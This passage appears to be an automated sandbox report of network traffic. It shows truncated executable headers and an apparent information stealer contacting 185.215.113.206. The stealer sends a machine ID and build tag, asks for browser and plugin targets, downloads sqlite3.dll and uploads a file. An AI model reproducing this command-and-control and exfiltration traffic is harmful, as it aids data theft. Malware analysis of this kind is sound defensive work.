00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 16:26:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.206Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 35 36 36 30 33 32 38 32 44 35 34 37 38 32 34 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="hwid"4356603282D547824525------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="build"tale------FHIDBKFCAAEBFIDHDBAE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"browsers------AKJDAEGCAFIIDGDGCGIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="message"plugins------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="message"fplugins------BKJEHCAKFBGDGCAAAFBG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 185.215.113.206Content-Length: 7991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECAHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCAHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 30 65 63 63 65 34 38 65 34 31 37 61 38 32 31 33 62 37 34 39 31 35 37 36 34 36 65 37 62 36 34 63 65 61 31 35 61 35 39 32 34 39 36 62 63 35 34 35 65 61 36 64 62 35 37 64 32 32 33 39 66 39 34 62 39 31 65 34 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 2d 2d 0d 0a Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"3a0ecce48e417a8213b749157646e7b64cea15a592496bc545ea6db57d2239f94b91e44a------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="file"------DBKFHJEBAAEBGDGDBFBG--
